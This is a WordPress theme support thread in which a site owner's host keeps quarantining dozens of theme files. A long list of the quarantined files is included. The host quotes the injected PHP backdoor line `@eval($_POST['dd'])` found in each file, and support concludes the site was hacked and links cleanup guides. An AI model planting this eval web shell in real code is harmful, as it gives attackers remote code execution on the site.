Docs

[fitloans]

There are no more errors because I reinstalled the theme again. I have a business to run and unfortunately am unable to wait too long with the website broken.

So the question remains, why is the theme breaking every now and then? I need to find a fix to the root cause rather than just reinstalling the theme every time I notice that it is not working.

Also please provide answers to the questions that my webhost asked. I will post it again below:

1) Is there is a particular version of PHP that the theme was written for
2) Is there are any unusual PHP options that should be enabled

[Rad]

Hi there,

Unfortunately, we can’t gather information if we’re not able to investigate it. Though, based on the discussion, you’re referring to license notice(which isn’t an error), and notice from missing stylesheet. And sounds like it’s happening automatically?

I guess cornerstone license’s notice is appearing since X theme became invalid or corrupted. What I’m not sure is what’s doing it, this is my first time seeing this issue. And I can’t investigate it or confirm it. X theme will not gonna delete itself unless your hosting has the problem with permissions that occasionally change.

1. It’s made according to WordPress standard, the requirement should depend on WordPress. WordPress requires PHP 5.6
2. There should be no other PHP options required, all hosting is expected to have enough resources and proper system setup for WordPress. WordPress is the platform where all themes and plugins run.

Thanks!

[fitloans]

Hi Rad

Thanks for the response.

The webhost has advised that they have updated the php to 5.6 from 5.5. They also advised the following:

You were on PHP 5.5, I have updated it to PHP 5.6 as the developer has requested.

I think I may have worked it out though. I appears that ConfigServer Exploit Scanner (our server antivirus) has been detecting and quarantining files associated with your account for the following code being present:
<?php @eval($_POST[‘dd’]);?>
For: Known exploit = [Fingerprint Match] [PHP POST Exploit [P0892]]

It has quarantined a total of 67 files. Could you please ask the developer if this code is necessary, and if the theme will work without it. Also might be worth letting him know a very popular server anti-virus is flagging this code.

[Paul R]

Hi,

Can you ask in which specific file they found the code?

We never had that code in any of our files, it looks like an injected code or a code from a third party plugin.

Thanks

[fitloans]

Hi I have just had the whitescreen come up again. This is happening too often and I have no knowledge of it happening until I check the website which is not often.

Can you please advise why this is happening? The latest message it is saying is Stylesheet missing.

[fitloans]

I have spoken to my host and they have advised that there are files being quarantined. The below files are being picked up as a threat by software on their server called ConfigServer eXploit Scanner.

Have encountered any issues with CXS and your themes in the past and do you have any workarounds?

The list of files being quarantined are as follows:
-rw-r–r– 1 root root 724 Oct 18 12:39 404.php.1476754790_1
-rw-r–r– 1 root root 372 Oct 18 12:39 404.php.1476754790_1.restore4
-rw-r–r– 1 root root 729 Oct 18 12:43 bbpress.php.1476755000_1
-rw-r–r– 1 root root 380 Oct 18 12:43 bbpress.php.1476755000_1.restore4
-rw-r–r– 1 root root 741 Oct 18 12:43 buddypress.php.1476755006_1
-rw-r–r– 1 root root 386 Oct 18 12:43 buddypress.php.1476755006_1.restore4
-rw-r–r– 1 root root 746 Oct 18 12:43 comments.php.1476755012_1
-rw-r–r– 1 root root 382 Oct 18 12:43 comments.php.1476755012_1.restore4
-rw-r–r– 1 root root 791 Oct 18 12:39 content-archive-topic.php.1476754799_1
-rw-r–r– 1 root root 416 Oct 18 12:39 content-archive-topic.php.1476754799_1.restore4
-rw-r–r– 1 root root 924 Oct 18 12:40 content-search.php.1476754805_1
-rw-r–r– 1 root root 402 Oct 18 12:40 content-search.php.1476754805_1.restore4
-rw-r–r– 1 root root 1059 Oct 18 12:40 content-single-forum.php.1476754811_1
-rw-r–r– 1 root root 414 Oct 18 12:40 content-single-forum.php.1476754811_1.restore4
-rw-r–r– 1 root root 890 Oct 18 12:40 content-single-topic.php.1476754817_1
-rw-r–r– 1 root root 414 Oct 18 12:40 content-single-topic.php.1476754817_1.restore4
-rw-r–r– 1 root root 543 Oct 18 12:40 content-single-view.php.1476754823_1
-rw-r–r– 1 root root 412 Oct 18 12:40 content-single-view.php.1476754823_1.restore4
-rw-r–r– 1 root root 255 Oct 18 12:40 feedback-no-search.php.1476754829_1
-rw-r–r– 1 root root 410 Oct 18 12:40 feedback-no-search.php.1476754829_1.restore4
-rw-r–r– 1 root root 846 Oct 18 12:43 footer.php.1476755021_1
-rw-r–r– 1 root root 378 Oct 18 12:43 footer.php.1476755021_1.restore4
-rw-r–r– 1 root root 3098 Oct 18 12:40 form-reply-move.php.1476754832_1
-rw-r–r– 1 root root 404 Oct 18 12:40 form-reply-move.php.1476754832_1.restore4
-rw-r–r– 1 root root 6154 Oct 18 12:40 form-reply.php.1476754838_1
-rw-r–r– 1 root root 394 Oct 18 12:40 form-reply.php.1476754838_1.restore4
-rw-r–r– 1 root root 749 Oct 18 12:40 form-search.php.1476754844_1
-rw-r–r– 1 root root 396 Oct 18 12:40 form-search.php.1476754844_1.restore4
-rw-r–r– 1 root root 3666 Oct 18 12:40 form-topic-merge.php.1476754850_1
-rw-r–r– 1 root root 406 Oct 18 12:40 form-topic-merge.php.1476754850_1.restore4
-rw-r–r– 1 root root 7754 Oct 18 12:41 form-topic.php.1476754868_1
-rw-r–r– 1 root root 394 Oct 18 12:41 form-topic.php.1476754868_1.restore4
-rw-r–r– 1 root root 4261 Oct 18 12:40 form-topic-split.php.1476754856_1
-rw-r–r– 1 root root 406 Oct 18 12:40 form-topic-split.php.1476754856_1.restore4
-rw-r–r– 1 root root 4075 Oct 18 12:41 form-topic-tag.php.1476754862_1
-rw-r–r– 1 root root 402 Oct 18 12:41 form-topic-tag.php.1476754862_1.restore4
-rw-r–r– 1 root root 5988 Oct 18 12:41 form-user-edit.php.1476754874_1
-rw-r–r– 1 root root 402 Oct 18 12:41 form-user-edit.php.1476754874_1.restore4
-rw-r–r– 1 root root 1529 Oct 18 12:41 form-user-login.php.1476754877_1
-rw-r–r– 1 root root 404 Oct 18 12:41 form-user-login.php.1476754877_1.restore4
-rw-r–r– 1 root root 1140 Oct 18 12:41 form-user-lost-pass.php.1476754883_1
-rw-r–r– 1 root root 412 Oct 18 12:41 form-user-lost-pass.php.1476754883_1.restore4
-rw-r–r– 1 root root 1458 Oct 18 12:41 form-user-register.php.1476754889_1
-rw-r–r– 1 root root 410 Oct 18 12:41 form-user-register.php.1476754889_1.restore4
-rw-r–r– 1 root root 3758 Oct 18 12:43 functions.php.1476755039_1
-rw-r–r– 1 root root 384 Oct 18 12:43 functions.php.1476755039_1.restore4
-rw-r–r– 1 root root 751 Oct 18 12:44 header.php.1476755045_1
-rw-r–r– 1 root root 378 Oct 18 12:44 header.php.1476755045_1.restore4
-rw-r–r– 1 root root 58 Oct 18 12:43 index.php.1476755033_1
-rw-r–r– 1 root root 386 Oct 18 12:43 index.php.1476755033_1.restore4
-rw-r–r– 1 root root 823 Oct 18 12:44 index.php.1476755054_1
-rw-r–r– 1 root root 376 Oct 18 12:44 index.php.1476755054_1.restore4
-rw-r–r– 1 root root 1405 Oct 18 12:41 loop-forums.php.1476754895_1
-rw-r–r– 1 root root 396 Oct 18 12:41 loop-forums.php.1476754895_1.restore4
-rw-r–r– 1 root root 680 Oct 18 12:41 loop-replies.php.1476754901_1
-rw-r–r– 1 root root 398 Oct 18 12:41 loop-replies.php.1476754901_1.restore4
-rw-r–r– 1 root root 1090 Oct 18 12:41 loop-search-forum.php.1476754907_1
-rw-r–r– 1 root root 408 Oct 18 12:41 loop-search-forum.php.1476754907_1.restore4
-rw-r–r– 1 root root 551 Oct 18 12:42 loop-search.php.1476754925_1
-rw-r–r– 1 root root 396 Oct 18 12:42 loop-search.php.1476754925_1.restore4
-rw-r–r– 1 root root 179 Oct 18 12:41 loop-search-reply.php.1476754913_1
-rw-r–r– 1 root root 408 Oct 18 12:41 loop-search-reply.php.1476754913_1.restore4
-rw-r–r– 1 root root 1818 Oct 18 12:41 loop-search-topic.php.1476754919_1
-rw-r–r– 1 root root 408 Oct 18 12:41 loop-search-topic.php.1476754919_1.restore4
-rw-r–r– 1 root root 1967 Oct 18 12:42 loop-single-reply.php.1476754937_1
-rw-r–r– 1 root root 408 Oct 18 12:42 loop-single-reply.php.1476754937_1.restore4
-rw-r–r– 1 root root 3002 Oct 18 12:42 loop-single-topic.php.1476754940_1
-rw-r–r– 1 root root 408 Oct 18 12:42 loop-single-topic.php.1476754940_1.restore4
-rw-r–r– 1 root root 1365 Oct 18 12:42 loop-topics.php.1476754943_1
-rw-r–r– 1 root root 396 Oct 18 12:42 loop-topics.php.1476754943_1.restore4
-rw-r–r– 1 root root 723 Oct 18 12:44 page.php.1476755061_1
-rw-r–r– 1 root root 374 Oct 18 12:44 page.php.1476755061_1.restore4
-rw-r–r– 1 root root 485 Oct 18 12:42 pagination-replies.php.1476754949_1
-rw-r–r– 1 root root 410 Oct 18 12:42 pagination-replies.php.1476754949_1.restore4
-rw-r–r– 1 root root 472 Oct 18 12:42 pagination-search.php.1476754955_1
-rw-r–r– 1 root root 408 Oct 18 12:42 pagination-search.php.1476754955_1.restore4
-rw-r–r– 1 root root 484 Oct 18 12:42 pagination-topics.php.1476754961_1
-rw-r–r– 1 root root 408 Oct 18 12:42 pagination-topics.php.1476754961_1.restore4
-rw-r–r– 1 root root 661 Oct 18 12:44 searchform.php.1476755066_1
-rw-r–r– 1 root root 386 Oct 18 12:44 searchform.php.1476755066_1.restore4
-rw-r–r– 1 root root 740 Oct 18 12:44 sidebar.php.1476755072_1
-rw-r–r– 1 root root 380 Oct 18 12:44 sidebar.php.1476755072_1.restore4
-rw-r–r– 1 root root 729 Oct 18 12:44 single.php.1476755081_1
-rw-r–r– 1 root root 378 Oct 18 12:44 single.php.1476755081_1.restore4
-rw-r–r– 1 root root 5321 Oct 18 12:46 single-product-reviews.php.1476755199_1
-rw-r–r– 1 root root 422 Oct 18 12:46 single-product-reviews.php.1476755199_1.restore4
-rw-r–r– 1 root root 775 Oct 18 12:44 single-x-portfolio.php.1476755075_1
-rw-r–r– 1 root root 402 Oct 18 12:44 single-x-portfolio.php.1476755075_1.restore4
-rw-r–r– 1 root root 333 Oct 18 13:15 style.css.1476756905_1
-rw-r–r– 1 root root 376 Oct 18 13:15 style.css.1476756905_1.restore4
-rw-r–r– 1 root root 788 Oct 18 12:44 template-blank-1.php.1476755087_1
-rw-r–r– 1 root root 398 Oct 18 12:44 template-blank-1.php.1476755087_1.restore4
-rw-r–r– 1 root root 791 Oct 18 12:44 template-blank-2.php.1476755093_1
-rw-r–r– 1 root root 398 Oct 18 12:44 template-blank-2.php.1476755093_1.restore4
-rw-r–r– 1 root root 794 Oct 18 12:44 template-blank-3.php.1476755099_1
-rw-r–r– 1 root root 398 Oct 18 12:44 template-blank-3.php.1476755099_1.restore4
-rw-r–r– 1 root root 791 Oct 18 12:45 template-blank-4.php.1476755105_1
-rw-r–r– 1 root root 398 Oct 18 12:45 template-blank-4.php.1476755105_1.restore4
-rw-r–r– 1 root root 794 Oct 18 12:45 template-blank-5.php.1476755111_1
-rw-r–r– 1 root root 398 Oct 18 12:45 template-blank-5.php.1476755111_1.restore4
-rw-r–r– 1 root root 797 Oct 18 12:45 template-blank-6.php.1476755117_1
-rw-r–r– 1 root root 398 Oct 18 12:45 template-blank-6.php.1476755117_1.restore4
-rw-r–r– 1 root root 791 Oct 18 12:45 template-blank-7.php.1476755123_1
-rw-r–r– 1 root root 398 Oct 18 12:45 template-blank-7.php.1476755123_1.restore4
-rw-r–r– 1 root root 794 Oct 18 12:45 template-blank-8.php.1476755129_1
-rw-r–r– 1 root root 398 Oct 18 12:45 template-blank-8.php.1476755129_1.restore4
-rw-r–r– 1 root root 831 Oct 18 12:45 template-layout-content-sidebar.php.1476755135_1
-rw-r–r– 1 root root 428 Oct 18 12:45 template-layout-content-sidebar.php.1476755135_1.restore4
-rw-r–r– 1 root root 785 Oct 18 12:45 template-layout-full-width.php.1476755138_1
-rw-r–r– 1 root root 418 Oct 18 12:45 template-layout-full-width.php.1476755138_1.restore4
-rw-r–r– 1 root root 792 Oct 18 12:45 template-layout-portfolio.php.1476755144_1
-rw-r–r– 1 root root 416 Oct 18 12:45 template-layout-portfolio.php.1476755144_1.restore4
-rw-r–r– 1 root root 831 Oct 18 12:46 template-layout-sidebar-content.php.1476755178_1
-rw-r–r– 1 root root 428 Oct 18 12:46 template-layout-sidebar-content.php.1476755178_1.restore4
-rw-r–r– 1 root root 3544 Oct 18 12:42 user-details.php.1476754964_1
-rw-r–r– 1 root root 398 Oct 18 12:42 user-details.php.1476754964_1.restore4
-rw-r–r– 1 root root 821 Oct 18 12:42 user-favorites.php.1476754976_1
-rw-r–r– 1 root root 402 Oct 18 12:42 user-favorites.php.1476754976_1.restore4
-rw-r–r– 1 root root 853 Oct 18 12:43 user-replies-created.php.1476754982_1
-rw-r–r– 1 root root 414 Oct 18 12:43 user-replies-created.php.1476754982_1.restore4
-rw-r–r– 1 root root 1540 Oct 18 12:43 user-subscriptions.php.1476754988_1
-rw-r–r– 1 root root 410 Oct 18 12:43 user-subscriptions.php.1476754988_1.restore4
-rw-r–r– 1 root root 853 Oct 18 12:43 user-topics-created.php.1476754994_1
-rw-r–r– 1 root root 412 Oct 18 12:43 user-topics-created.php.1476754994_1.restore4
-rw-r–r– 1 root root 2686 Oct 18 12:46 vc_column_inner.php.1476755196_1
-rw-r–r– 1 root root 409 Oct 18 12:46 vc_column_inner.php.1476755196_1.restore4
-rw-r–r– 1 root root 2679 Oct 18 12:46 vc_column.php.1476755196_1
-rw-r–r– 1 root root 397 Oct 18 12:46 vc_column.php.1476755196_1.restore4
-rw-r–r– 1 root root 5774 Oct 18 12:46 vc_row_inner.php.1476755199_1
-rw-r–r– 1 root root 403 Oct 18 12:46 vc_row_inner.php.1476755199_1.restore4
-rw-r–r– 1 root root 5768 Oct 18 12:46 vc_row.php.1476755196_1
-rw-r–r– 1 root root 391 Oct 18 12:46 vc_row.php.1476755196_1.restore4
-rw-r–r– 1 root root 775 Oct 18 12:46 woocommerce.php.1476755199_1
-rw-r–r– 1 root root 388 Oct 18 12:46 woocommerce.php.1476755199_1.restore4

[Paul R]

Hi,

The whitescrren come up again because of php errors resulted from your host removing those files.

I have re-uploaded the files again.

Kindly check on your end.

Thanks

[fitloans]

Yes it is working now but I can’t keep finding out there is an issue days after it has stuffed up again.

I need to get to the bottom of this problem. Can you tell me if have encountered any issues with ConfigServer eXploit Scanner and your themes in the past and do you have any workarounds?

What do you suggest to stop this from happening again? Please help me solve the cause. Thanks

[fitloans]

Actually just checked the website and it isn’t working. I also tried to reinstall the theme manually and still having the error messages come up on my screen. Below are some of the error messages:

Notice: Undefined variable: fade_duration in /home/fitloans/public_html/wp-content/themes/x/vc_templates/vc_column.php on line 27

Notice: Undefined variable: fade_duration in /home/fitloans/public_html/wp-content/themes/x/vc_templates/vc_column_inner.php on line 27

etc

[Paul R]

Hi,

Your host ConfigServer eXploit Scanner keeps removing plugin and theme clean files that is causing the errors.

I am not sure how ConfigServer eXploit Scanner works but please double check the settings with your hosts.

We are pretty sure our theme files are clean and are within wordpress standards.

Thanks

[fitloans]

Can you please pass this on to your highest level support to try and resolve. This is the response I have received from my host.

All of the files that have been quarantined contained the following line at the top

@eval($_POST[‘dd’]);

This is a known malicious exploit and as such we obviously cannot allow any files containing it. You may need to contact the developers of the plugin to see if they are aware of the issue.

[Paul R]

Hi,

All our files don’t have that code.

To confirm, you can download the latest version from themeforest and open those files in a text editor.

It looks like your site has been hacked.

Please refer to the link below for your guide on how to clean up your site.

http://www.inmotionhosting.com/support/website/hacks/clean-up-code-injection-attack

To prevent this from happening kindly make sure that your theme and plugins are always up to date.

Then do the following for added security – https://codex.wordpress.org/Hardening_WordPress

Thanks

[fitloans]

In addition to the last message you haven’t advised why my page is showing all the errors. Please advise how to fix that and also about the @eval($_POST[‘dd’]); issue.

[fitloans]

Thanks for finally getting to the bottom of it. I will try to see if I can get rid of the hack and fix it up. Thanks

[Paul R]

You’re welcome! 🙂

[Author]

Posts